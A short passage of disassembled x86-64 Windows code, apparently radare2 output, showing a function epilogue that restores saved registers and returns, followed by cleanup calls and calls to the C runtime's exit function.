movaps xmm13, xmmword [rsp + 0xb90]
movaps xmm12, xmmword [rsp + 0xba0]
movaps xmm11, xmmword [rsp + 0xbb0]
movaps xmm10, xmmword [rsp + 0xbc0]
movaps xmm9, xmmword [rsp + 0xbd0]
movaps xmm8, xmmword [rsp + 0xbe0]
movaps xmm7, xmmword [rsp + 0xbf0]
mov r13, qword [rsp + 0xc48]
mov r12, qword [rsp + 0xc40]
movaps xmm15, xmmword [rsp + 0xb70]
mov rbx, qword [rsp + 0xc50]
movaps xmm6, xmmword [rsp + 0xc00]
add rsp, 0xc10
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
lea rcx, [rbp - 0x18]
call fcn.1400462f0
lea rcx, [rbp - 0x80]
call fcn.1400462f0
lea rcx, [rbp + 0x48]
call fcn.1400462f0
lea rcx, [rbp + 0x10]
call fcn.1400462f0
mov eax, 1
jmp 0x1400691f4
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3